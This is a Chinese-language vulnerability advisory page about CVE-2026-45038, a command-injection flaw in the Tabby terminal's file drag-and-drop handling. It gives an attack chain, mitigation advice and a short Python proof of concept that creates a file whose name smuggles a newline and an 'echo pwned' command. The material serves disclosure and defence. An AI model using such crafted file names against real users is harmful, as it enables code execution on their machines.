IPBUF安全漏洞报告
English
CVE-2026-45038 CVSS 7.8 高危

CVE-2026-45038 Tabby终端代码执行漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45038
漏洞类型
本地代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Tabby

相关标签

代码执行Tabby本地漏洞注入漏洞终端模拟器

漏洞概述

Tabby是一款高度可配置的终端模拟器。在1.0.233版本之前,该软件在处理文件拖放操作时存在安全缺陷,未能正确对文件路径中的控制字符进行转义处理。攻击者可利用此漏洞,通过构造包含恶意控制字符的文件路径,诱导用户将文件拖入终端,从而在系统上执行任意代码,造成严重的安全风险。

技术细节

该漏洞的成因在于Tabby终端模拟器在处理“拖放文件”事件时,未对输入的文件路径字符串进行充分的清洗和安全编码。当用户执行拖放操作时,应用程序会直接将文件路径传递给终端或底层Shell处理。由于缺乏转义机制,文件名中嵌入的控制字符(如换行符、回车符、ANSI转义序列等)会被终端误解析为指令而非普通文本。攻击者通过精心设计文件名,可以注入并执行恶意命令。尽管攻击需要本地交互(UI:R),但无需预先认证(PR:N),一旦用户触发,即可获得与终端进程相同权限的代码执行能力,危及系统的机密性、完整性和可用性。

攻击链分析

STEP 1
1. 恶意文件准备
攻击者创建一个包含控制字符(如换行符或命令注入符)的特殊文件名文件。
STEP 2
2. 诱导用户操作
攻击者诱导受害者将该文件下载到本地,并诱骗其将文件拖入Tabby终端窗口。
STEP 3
3. 漏洞触发
Tabby在处理拖放事件时,直接读取文件路径且未进行转义,导致控制字符被终端解析。
STEP 4
4. 代码执行
注入的控制字符破坏原有命令结构,执行攻击者预设的任意恶意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-45038 # This script creates a file with control characters in its name. # Dragging and dropping this file into a vulnerable Tabby version (< 1.0.233) # may lead to command execution. import os # Construct a malicious filename containing a newline and a command # The payload attempts to execute 'echo pwned' after the file path is inserted payload = "\necho pwned #" malicious_filename = "legit_file" + payload + ".txt" file_path = os.path.join(os.getcwd(), malicious_filename) try: with open(file_path, 'w') as f: f.write("This file contains a malicious name.") print(f"[+] Successfully created file: {malicious_filename}") print("[+] Instruction: Drag and drop this file into the Tabby terminal to test.") except Exception as e: print(f"[-] Error creating file: {e}")

影响范围

Tabby < 1.0.233

防御指南

临时缓解措施
在未升级版本前,用户应严格避免在Tabby终端中使用拖放功能处理文件,尤其是处理来自不可信来源的文件。建议通过命令行手动输入文件路径来代替拖放操作,以阻断利用路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表